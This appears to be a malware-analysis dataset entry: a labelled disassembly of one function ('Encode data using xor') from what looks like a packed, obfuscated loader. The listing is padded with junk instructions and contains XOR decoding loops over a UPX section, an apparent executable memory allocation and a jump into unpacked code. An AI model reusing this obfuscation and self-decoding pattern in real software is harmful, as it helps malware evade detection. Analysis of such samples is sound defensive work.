Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6be2722c
dec edi
add esi, esi
popal
sub edi, 0xa3807a28
mov edi, esi
not esi
mov ecx, 0
mov esi, edi
add eax, 0xaab62411
sub eax, 0x4b0b3c94
mov eax, edx
mov ebx, esi
sub eax, 0xe89fabe
dec edx
not edx
mov edi, ebx
sub eax, edx
sub edx, 0x8edb4e8
inc ecx
add edx, eax
not eax
dec edx
cmp ecx, 0x100bc03
jne 0x47b44d
add edx, edx
mov edx, eax
and esi, esi
and esi, edi
mov edx, 0x47b21e
not esi
add ecx, ecx
not ecx
mov edi, 0x47b412
add ecx, 0xb09155da
add eax, 1
mov ebx, dword [edx]
not esi
add eax, 0xc1d09287
and ebx, 0xff
and eax, ecx
not esi
not ecx
xor dword [edi], ebx
sub eax, ecx
mov esi, eax
inc edi
sub esi, 0x1946bdcf
and ecx, esi
inc edx
or eax, ecx
or esi, ecx
add ecx, ecx
cmp edi, entry0
jl 0x47b4a8
sub esi, 1
mov eax, esi
not eax
not eax
dec eax
sub edi, ebx
mov esi, edi
mov ecx, 0x47b416
add esi, edi
inc edi
mov ecx, dword [ecx]
mov ebx, esi
mov ebx, edi
mov ecx, dword [ecx]
or edx, esi
or ebx, esi
add ebx, edi
sub esp, 4
mov dword [esp], ecx
sub esi, ebx
add esi, 0xa44f03a6
add edx, 1
mov ecx, 0x47b412
add edi, 0x2630a76d
or edi, edi
mov ecx, dword [ecx]
inc esi
dec esi
add edx, ebx
mov ecx, dword [ecx]
add ebx, edi
sub edi, 1
sub esp, 4
mov dword [esp], 0x47b41a
sub esi, 0x212129c1
not ebx
dec edx
call ecx
sub edx, 0x471505a8
sub esi, 0xb7983408
pop ecx
not esi
sub edi, 0x1db9fa66
mov edx, edi
push 0x47b427
or esi, esi
mov edx, 0xa378bfc6
push eax
mov edx, edi
or ebx, edx
add esi, 0xa0d6979
call ecx
or edi, edx
sub edi, 1
or ebx, esi
sub esp, 4
mov dword [esp], 0x40
add ebx, 0x340ca261
mov esi, 0xd1bef1d3
sub ebx, 0xc4cdc1fb
sub esp, 4
mov dword [esp], 0x3000
sub ebx, 0x12ec984b
add esi, edx
inc edi
push 0x2000080b
not esi
sub edi, 1
push 0
add esi, 0x73a6beaf
and edx, edx
mov edi, ebx
call eax
mov esi, 0x4b9fd068
mov esi, 0x2cc5a958
mov edx, ebx
add eax, 0x2000079c
not edx
add edx, edx
add edi, 0x47b54038
mov ecx, 0x3a321430
sub esi, 0x5d466cea
add edx, 1
mov dword [eax], ecx
or esi, edx
or esi, edi
mov ecx, dword [eax]
add edx, 0xf97f32f
or esi, edx
or edx, edi
cmp ecx, 0x3a321430
je 0x47b621
mov ebx, 0
mov dword [ebx], eax
mov edi, ebx
and edx, edx
dec edx
not edi
sub ebx, 1
add edi, 0xb1aa6201
sub edi, 1
add esi, 1
mov edx, section.UPX1
or edi, edi
add edi, edi
mov eax, 0x47b21d
sub esi, 0x30db9845
sub edi, 0x250ca102
mov ebx, 0
or esi, edi
add edi, 0x98aa63dd
inc esi
mov ecx, 0x47b21e
add esi, esi
inc edi
lea ecx, [ecx + ebx]
add esi, 0x387eef5f
and edi, edi
mov ecx, dword [ecx]
add edi, 1
sub esi, 0xb8d888bf
or edi, esi
and ecx, 0xff
add esi, esi
add edi, 0xa4e3a0b5
inc ebx
sub esi, 0xcf9b307f
mov esi, edi
mov esi, 0x5c6054ad
cmp ebx, 0x1f4
jne 0x47b6b4
mov ebx, 0
and esi, edi
inc edi
dec edi
add edi, esi
and edi, esi
xor dword [edx], ecx
mov edi, 0xc1880a4b
or edi, esi
add edx, 2
sub esi, 1
sub edi, 0x9f9e62b9
or edi, edi
cmp edx, eax
jl 0x47b668
mov esi, 0x2b223d5e
sub edi, esi
dec esi
mov edi, 0x57512753
mov esi, 0x8419a83e
mov esi, section.UPX1
sub eax, 0xf7a9d702
sub edi, 0x7f182d8c
mov edx, section.UPX1
and eax, eax
not eax
add eax, edi
mov ebx, 0x47b21d
or eax, eax
sub edi, 0x87a6ec94
mov ecx, 0
or edi, edi
mov eax, edi
not edi
mov cl, byte [edx]
and edi, edi
not eax
or edi, eax
mov byte [esi], cl
mov edi, eax
mov eax, 0xfcbe542b
inc esi
mov edi, eax
sub eax, edi
add edx, 2
mov edi, 0x5e31b23c
not edi
cmp edx, ebx
jle 0x47b727
not eax
add edi, eax
sub edi, eax
add esi, edi
and esi, esi
mov edi, esi
push 0x45e6a0
sub edi, 0x8d713dcf
dec edi
ret